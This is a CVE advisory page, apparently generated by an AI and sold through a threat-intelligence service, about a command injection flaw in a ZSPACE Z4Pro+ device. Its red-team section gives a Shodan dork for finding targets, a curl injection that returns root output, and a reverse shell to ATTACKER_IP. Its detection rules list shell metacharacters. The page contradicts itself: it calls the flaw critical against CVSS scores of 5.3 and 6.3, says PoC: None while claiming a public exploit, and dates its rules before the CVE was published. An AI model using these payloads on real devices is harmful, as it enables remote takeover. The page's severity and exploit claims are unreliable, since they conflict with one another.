☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 5.3 🐛 CWE-74
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-15132

CVE-2025-15132 Command Injection in Zspace
📅 PUBLISHED: 2025-12-28 10:32 UTC 🔄 UPDATED: 2026-09-23 20:32 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 7.75%
👁️
7.75% probability
193.7× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-15132 is a critical command injection vulnerability discovered in the ZSPACE Z4Pro+ device, specifically in firmware version 1.0.0440024. The flaw resides in the /v2/file/safe/open endpoint, within the zfilev2_api_open function. An unauthenticated attacker can exploit this by sending a crafted HTTP POST request, leading to arbitrary command execution on the device. The exploit has been publicly disclosed, increasing the risk of widespread attacks. No official patch is currently available from ZSPACE.

Note: This vulnerability is specific to the ZSPACE Z4Pro+ hardware device and its embedded firmware. It is not related to any WordPress plugin or component.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 6.3 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
  • Attack Vector (AV): Network – Exploitable remotely.
  • Attack Complexity (AC): Low – No special conditions required.
  • Privileges Required (PR): None – No authentication needed.
  • User Interaction (UI): None – No user action required.
  • Scope (S): Unchanged – Exploit does not affect other components.
  • Confidentiality (C): Low – Limited data exposure.
  • Integrity (I): Low – Limited data modification.
  • Availability (A): Low – Limited service disruption.

Threat Level: High due to public exploit availability and lack of patch.

Deep Dive & Mechanics

The vulnerability is a classic command injection flaw in the HTTP POST request handler of the ZSPACE Z4Pro+ device. The zfilev2_api_open function in /v2/file/safe/open does not properly sanitize user-supplied input before passing it to a system command. An attacker can inject arbitrary OS commands by manipulating parameters in the POST request body.

Root Cause: The application likely uses a function like system(), exec(), or popen() in C/C++ to handle file operations, concatenating user input directly into the command string without validation.

Attack Vector: Remote, unauthenticated HTTP POST requests to the vulnerable endpoint.

Impact: Successful exploitation allows an attacker to execute arbitrary commands with the privileges of the web server (typically root or a high-privilege user), leading to full device compromise.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

void zfilev2_api_open(char *filename) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "open_file %s", filename);
    system(cmd);
}

Patched Code (Conceptual):

void zfilev2_api_open(char *filename) {
    // Whitelist allowed characters
    if (!is_valid_filename(filename)) {
        return_error("Invalid filename");
        return;
    }
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "open_file %s", filename);
    system(cmd);
}

Note: No official patch is available. The above is a recommended fix.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • Target ZSPACE Z4Pro+ device with firmware 1.0.0440024.
  • Network access to the device's HTTP interface.

Exploit Steps:

  1. Identify the target device (e.g., via Shodan dork: http.title:"ZSPACE").
  2. Send a crafted POST request to /v2/file/safe/open with a malicious payload in the filename parameter.

Example Exploit (using curl):

curl -X POST http://target/v2/file/safe/open \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "filename=test;id"

Expected Output:

uid=0(root) gid=0(root) groups=0(root)

Advanced Payload (Reverse Shell):

curl -X POST http://target/v2/file/safe/open \
  -d "filename=test;bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

Blue Team (Detection & Response)

Detection Steps:

  1. Monitor HTTP POST requests to /v2/file/safe/open for unusual parameters.
  2. Look for shell metacharacters (;, |, &, $, `) in the request body.
  3. Correlate with outbound connections from the device to unknown IPs.

Response:

  1. Isolate the affected device from the network.
  2. Review logs for signs of compromise.
  3. Apply network-level filtering to block malicious requests.

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP POST requests to /v2/file/safe/open containing shell metacharacters.
  • Outbound connections from the device to unusual IPs/ports (e.g., 4444/tcp).

File System IOCs:

  • Unexpected files in /tmp/ or /var/tmp/.
  • Modified system binaries or scripts.

Log IOCs:

  • Entries in web server logs showing filename=test;id or similar patterns.

Detection Engineering

YARA Rule

rule CVE_2025_15132_Command_Injection {
    meta:
        description = "Detects command injection attempts against ZSPACE Z4Pro+"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-15132"
    strings:
        $payload1 = "filename=" ascii wide nocase
        $payload2 = ";" ascii wide
        $payload3 = "|" ascii wide
        $payload4 = "`" ascii wide
        $payload5 = "$(" ascii wide
    condition:
        $payload1 and any of ($payload2, $payload3, $payload4, $payload5)
}

Sigma Rule

title: CVE-2025-15132 Command Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to /v2/file/safe/open with command injection payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/v2/file/safe/open'
        cs-uri-query|contains:
            - ';'
            - '|'
            - '`'
            - '$('
    condition: selection
falsepositives:
    - Legitimate use of special characters in filenames (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-15132 Command Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/v2/file/safe/open"; http_uri; content:"filename="; http_client_body; pcre:"/(;|\||`|\$\().*$/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate affected devices from untrusted networks.
  2. Apply network-level filtering to block POST requests to /v2/file/safe/open from untrusted sources.
  3. Monitor for exploitation attempts using the provided detection rules.

Long-Term Fix:

  • Vendor Patch: Await an official firmware update from ZSPACE.
  • Workaround: If possible, disable the vulnerable endpoint or restrict access via firewall rules.
  • Code Fix: Implement input validation and sanitization for all user-supplied parameters.

Valters IT Signature:
This report was generated by Valters IT DevSecOps AI. All information is provided for authorized security testing and defense purposes only.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-15132/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.